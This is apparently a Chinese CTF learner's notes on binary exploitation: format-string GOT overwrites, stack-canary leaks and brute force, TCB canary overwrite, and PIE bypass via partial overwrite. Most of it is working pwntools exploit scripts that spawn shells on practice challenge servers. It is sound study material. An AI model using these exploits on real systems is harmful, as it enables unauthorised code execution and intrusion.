栈溢出 ret2text 见我的另一篇文章
ret2shellcode 见我的另一篇文章
ret2libc 见我的另一篇文章
ret2syscall 见我的另一篇文章 ,完全是学长写的,我是勤劳的搬运工
格式化字符串 %n篡改固定地址的变量 见我的另一篇文章 (x_32)
x64位————与32的区别
首先我们要补一个b来确定偏移量
例如我们32位是
1 aaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
而64位是
1 baaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
由于64位传参,肯定存在被/x00截断的情况,所以我们需要动调一下,其实我们也可以多试几下,假设我们我们泄露出来的是8,真实的也许就是7,9,10等。
动调挺简单我就覆两个图片
先是一下直接泄露的8
换成9,还要加上补位AAA
也许达到这种效果才行吧。
这里直接给模板了
1 2 3 4 5 6 7 8 9 10 from pwn import *context.log_level='debug' r = remote("node5.buuoj.cn" ,25959 ) judge = 0x060105C payload = b"BB%9$nAAA" +p64(judge) r.sendline(payload) r.interactive()
%n篡改printf_got指向system 例题ctfshow pwn95
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from LibcSearcher import *r = remote('pwn.challenge.ctf.show' ,28204 ) elf = ELF("./pwn95" ) r.recvuntil(" * ************************************* " ) offset = 6 printf_got = elf.got['printf' ] payload1 = p32(printf_got) + b'%6$s' r.send(payload1) printf_addr = u32(r.recvuntil('\xf7' )[-4 :]) libc = LibcSearcher('printf' ,printf_addr) libc_base = printf_addr - libc.dump('printf' ) system_addr = libc_base + libc.dump('system' ) payload = fmtstr_payload(offset,{printf_got:system_addr}) r.send(payload) r.send('/bin/sh' ) r.interactive()
例题 buuctf axb_2019_fmt32
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *from LibcSearcher import *r = remote('node5.buuoj.cn' ,26279 ) elf = ELF("./axb_2019_fmt32" ) offset = 8 printf_got = elf.got['printf' ] puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] payload1 =b'a' + p32(puts_got) + b'%8$s' r.sendafter("Please tell me:" ,payload1) puts_addr = u32(r.recvuntil(b'\xf7' )[-4 :]) libc = LibcSearcher('puts' ,puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) payload = b'A' +fmtstr_payload(offset,{printf_got:system_addr},write_size='byte' ,numbwritten=0xa ) r.sendafter("Please tell me:" ,payload) r.sendline(b';/bin/sh' ) r.interactive()
canary 爆破 这里有一个模拟canary爆破
模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *import reimport timecontext(arch='i386' ,os='linux' ,log_level='debug' ) r = process('./pwn119' ) elf = ELF('./pwn119' ) canary = b'\x00' backdoor = elf.sym['backdoor' ] canary = b'\x00' for i in range (3 ): for j in range (0 , 256 ): payload = b'a' * (0x70 - 0xC ) + canary + p8(j) r.send(payload) time.sleep(0.3 ) res = r.recv() if ( b"stack smashing detected" not in res): print (f'the {i} is {hex (j)} ' ) canary += p8(j) break assert (len (canary) == i+2 ) print (f'Canary : {hex (u32(canary))} ' )print (hex (u32(canary)))payload = cyclic(0x70 - 0xC ) + canary + cyclic(0xc ) + p32(backdoor) r.send(payload) r.interactive()
SSP泄露Canary ctfshow pwn117 这里主要记录怎么算偏移即buf和__libc_argv[0]的偏移
脚本除了偏移的计算其他都好理解
1 2 3 4 5 6 7 8 9 10 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) r = remote("pwn.challenge.ctf.show" ,28116 ) elf = ELF('./pwn' ) flag = 0x6020a0 offset = 504 payload = cyclic(offset) + p64(flag) r.sendline(payload) r.interactive()
计算过程先
再进行gdb调试先输入cyclic的结果,再通过如下两种方式计算参考
理论上应该是520才对,504可能是本题有点问题。
覆盖截断字符获取Canary 1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned int ctfshow () { int i; char buf[200 ]; unsigned int v3; v3 = __readgsdword(0x14u ); for ( i = 0 ; i <= 1 ; ++i ) { read(0 , buf, 0x200u ); printf (buf); } return __readgsdword(0x14u ) ^ v3; }
1 2 3 4 int backdoor () { return system("/bin/sh" ); }
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context.log_level = 'debug' r = process("./pwn115" ) elf =ELF('./pwn115' ) backdoor = elf.sym["backdoor" ] r.recvuntil("Try Bypass Me!" ) payload = b'A' *200 r.sendline(payload) r.recvuntil(b"A" *200 ) Canary = u32(r.recv(4 ))-0xa log.info("Canary" +hex (Canary)) payload = b"A" *200 + p32(Canary)+b"A" *0x0c +p32(backdoor) r.sendline(payload) r.interactive()
格式化字符串劫持__stack_chk_fail指针 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.log_level = 'debug' r = process('./pwn118' ) elf = ELF('./pwn118' ) stack_chk_fail_got = elf.got['__stack_chk_fail' ] getflag = elf.sym['get_flag' ] payload = fmtstr_payload(7 , {stack_chk_fail_got: getflag}) payload = payload.ljust(0x5c , b'a' ) r.sendline(payload) r.recv() r.interactive()
canary,格式化字符串 见另一篇文章
覆盖TCB来实现对canary的绕过 还是没搞懂,等搞懂了再来写,先留个模板–来自佬的blog 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from LibcSearcher import *r = remote('pwn.challenge.ctf.show' ,' xxxxx' ) elf = ELF('./pwn120' ) pop_rdi_ret = 0x4007d8 pop_rsi_r15_ret = 0x400be1 leave_ret = 0x40098c puts_got = elf.got['puts' ] puts_plt = elf.sym['puts' ] read_plt = elf.sym['read' ] bss_addr = 0x602010 payload = b'a' * 0x510 + p64(bss_addr - 0x8 ) payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) payload += p64(pop_rdi_ret) + p64(0 ) payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0 ) + p64(read_plt) payload += p64(leave_ret) payload = payload.ljust(0x1000 ,b'a' ) r.sendlineafter("How much do you want to send this time?\n" ,str (0x1000 )) sleep(1 ) r.send(payload) sleep(1 ) r.recvuntil("See you next time!\n" ) puts_addr = u64(r.recv(6 ).ljust(8 ,b'\x00' )) print (hex (puts_addr))libc = LibcSearcher("puts" ,puts_addr) libc_base = puts_addr - libc.dump("puts" ) one_gadget = libc_base + 0x4f302 payload = p64(one_gadget) r.send(payload) r.interactive()
ctfshow pwn89
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __fastcall main (int argc, const char **argv, const char **envp) { pthread_t newthread[2 ]; newthread[1 ] = __readfsqword(0x28u ); init(argc, argv, envp); logo(); pthread_create(newthread, 0LL , start, 0LL ); if ( pthread_join(newthread[0 ], 0LL ) ) { puts ("exit failure" ); return 1 ; } else { puts ("Bye bye" ); return 0 ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void *__fastcall start (void *a1) { unsigned __int64 v2; char s[4104 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); memset (s, 0 , 0x1000u LL); puts ("Welcome to CTFshowPWN!" ); puts ("You want to send:" ); v2 = lenth(); if ( v2 <= 0x10000 ) { readn(0LL , s, v2); puts ("See you next time!" ); } else { puts ("Are you kidding me?" ); } return 0LL ; }
关键为什么能绕过 canary
正常情况下栈保护是:stack_copy_on_stack
vs stack_guard_in_TCB (fs:0x28)
比较。此处能绕过的关键链条:
程序在新线程的栈顶附近放了 TCB,stack_guard
在那个附近可被写到(实现细节见 glibc 分配策略)。
读入的数据长度远大于本地 buffer(允许写穿 buffer 到栈顶区域)。
溢出写同时 覆盖了栈上的 canary 副本(stack copy)与 TCB 中的主 canary ,把它们都改成攻击者任意的值 → 因为校验比较的两端都被同步改写,于是检查通过。
同一次写还能把 saved rbp/ret 等覆盖为攻击者需要的值,从而做 ROP、leak、写二阶段并 pivot 到 .bss
。
换言之:不是“绕过检测逻辑本身”的巧妙 trick,而是“把检测所依赖的参考值(主 canary)用一次大写覆盖成期望值”,从而让检查失效。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *from LibcSearcher import *p = remote('pwn.challenge.ctf.show' ,' xxxxxx' ) context(arch='amd64' ,os='linux' ,log_level='debug' ) elf = ELF('../pwn89' ) pop_rdi_ret = 0x400be3 pop_rsi_r15_ret = 0x400be1 leave_ret = 0x40098c puts_got = elf.got['puts' ] puts_plt = elf.sym['puts' ] read_plt = elf.sym['read' ] bss_addr = 0x602f00 payload = b'a' * 0x1010 + p64(bss_addr - 0x8 ) payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) payload += p64(pop_rdi_ret) + p64(0 ) payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0 ) + p64(read_plt) payload += p64(leave_ret) payload = payload.ljust(0x2000 ,b'a' ) p.sendlineafter("You want to send:" ,str (0x2000 )) sleep(0.5 ) p.send(payload) sleep(0.5 ) p.recvuntil("See you next time!\n" ) puts_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) print (hex (puts_addr))libc = LibcSearcher("puts" ,puts_addr) libc_base = puts_addr - libc.dump("puts" ) one_gadget = libc_base + 0x4f302 payload = p64(one_gadget) p.send(payload) p.interactive()
p64(pop_rdi_ret) + p64(0)
设置 rdi = 0(stdin 文件描述符)为接下来 read 的第一个参数(fd = 0)。
p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0)
gadget 做 pop rsi; pop r15; ret:它把 bss_addr 赋给 rsi(第二个参数),并把 0 弹到 r15(只是占位/对齐,r15 在这里不被 read 使用)。
puts泄露canary 见我的另一篇文章 和覆盖截断字符获取Canary类似
PIE绕过 爆破pie 模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *padding = 0x18 + 0x4 backdoor = b"\xF0" + b"\x06" payload = b"A" * padding + backdoor count = 1 while True : r = process("./pwn" ) try : count += 1 print (count,end=' ' ) r.recvuntil(b"xxxxxxxx" ) r.send(payload) recv = r.recv(timeout=10 ) except : print ("error" ,end=' ' ) else : r.interactive() break
格式化字符串泄露pie和partial write 推荐个佬的博客 (格式化和32位pw)
佬的博客2 (64位pw)
64位模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *r=process("./pwn" ) elf=ELF("./pwn" ) context.log_level="debug" r.recvuntil(b"xxxxx" ) payload1=b"a" *36 +b"bbbb" r.sendline(payload1) r.recvuntil(b"bbbb" ) canary=u64(p.recv(8 ))-0x0a print ("leak canary:" ,hex (canary))r.recvuntil(b":\n" ) payload2=b"a" *0x28 +p64(canary)+b"a" *8 +b"\x3E\x8A" r.send(payload2) r.interactive()
覆盖返回地址的后两个字节转跳到后门函数 1 2 3 4 5 6 7 8 ssize_t sub_120E () { __int64 buf[4 ]; memset (buf, 0 , sizeof (buf)); puts ("A nice try to break pie!!!" ); return read(0 , buf, 0x29u LL); }
先找到需要转跳的地址
这里是0x126c只要把返回地址后两字节覆盖成0x6c即可
exp:
1 2 3 4 5 6 7 from pwn import * p = process('./pie_1' ) context(arch='amd64' , log_level = 'debug' ) p.sendafter(b"A nice try to break pie!!!" , b'\x00' *0x28 + p8(0x6c )) p.interactive()
这里再记录一个canary和pie结合的题目 1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall main (int a1, char **a2, char **a3) { __gid_t rgid; setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); rgid = getegid(); setresgid(rgid, rgid, rgid); sub_1240(); sub_132F(); return 0LL ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 unsigned __int64 sub_132F () { char format[32 ]; char v2[56 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); printf ("Hi! What's your name? " ); gets(format); printf ("Nice to meet you, " ); strcat (format, "!\n" ); printf (format); printf ("Anything else? " ); gets(v2); return __readfsqword(0x28u ) ^ v3; }
canary用格式化字符串泄露,然后再利用栈溢出来getshell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *r = remote('node4.anna.nssctf.cn' ,28027 ) r.recvuntil(b"What's your name? " ) payload = b"%17$paaaa%19$p" r.sendline(payload) r.recvuntil(b"Nice to meet you, " ) data = r.recvline().strip() leaked = data.split(b"aaaa" ) canary = int (leaked[0 ], 16 ) ret_addr = int (leaked[1 ][:-1 ], 16 ) print (f"Leaked address 17$p: {hex (canary)} " )print (f"Leaked address 19$p: {hex (ret_addr)} " )back_door = ret_addr - 0x146F + 0x122e r.sendafter(b"Anything else? " , b'\x00' *(0x40 - 0x08 ) + p64(canary) + b'\x00' *8 + p64(back_door)) r.interactive()
注释:19泄露的是返回地址,17泄露的是canary的地址
17怎么计算参考上面的格式化字符串泄露canary,canary和返回地址正好相差两个0x08。所以ret_addr的地址是19处。
0x146f和0x122e
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 .text:00000000000013F9 ; __unwind { .text:00000000000013F9 endbr64 .text:00000000000013FD push rbp .text:00000000000013FE mov rbp, rsp .text:0000000000001401 sub rsp, 10h .text:0000000000001405 mov rax, cs:stdin .text:000000000000140C mov ecx, 0 ; n .text:0000000000001411 mov edx, 2 ; modes .text:0000000000001416 mov esi, 0 ; buf .text:000000000000141B mov rdi, rax ; stream .text:000000000000141E call _setvbuf .text:0000000000001423 mov rax, cs:stdout .text:000000000000142A mov ecx, 0 ; n .text:000000000000142F mov edx, 2 ; modes .text:0000000000001434 mov esi, 0 ; buf .text:0000000000001439 mov rdi, rax ; stream .text:000000000000143C call _setvbuf .text:0000000000001441 call _getegid .text:0000000000001446 mov [rbp+rgid], eax .text:0000000000001449 mov edx, [rbp+rgid] ; sgid .text:000000000000144C mov ecx, [rbp+rgid] .text:000000000000144F mov eax, [rbp+rgid] .text:0000000000001452 mov esi, ecx ; egid .text:0000000000001454 mov edi, eax ; rgid .text:0000000000001456 call _setresgid .text:000000000000145B mov eax, 0 .text:0000000000001460 call sub_1240 .text:0000000000001465 mov eax, 0 .text:000000000000146A call sub_132F //执行完这个函数就会执行 mov eax, 0,所以返回地址在0x146a这里 .text:000000000000146F mov eax, 0 .text:0000000000001474 leave .text:0000000000001475 retn
1 2 3 4 5 6 7 8 9 .text:0000000000001229 ; __unwind { .text:0000000000001229 endbr64 .text:000000000000122D push rbp .text:000000000000122E mov rbp, rsp //后门地址 0x122e,实际上0x1231也行。 .text:0000000000001231 lea rdi, command ; "/bin/cat flag.txt" .text:0000000000001238 call _system .text:000000000000123D nop .text:000000000000123E pop rbp .text:000000000000123F retn
利用vsyscall地址不变 记录一下有这个方式,到时候了解了在写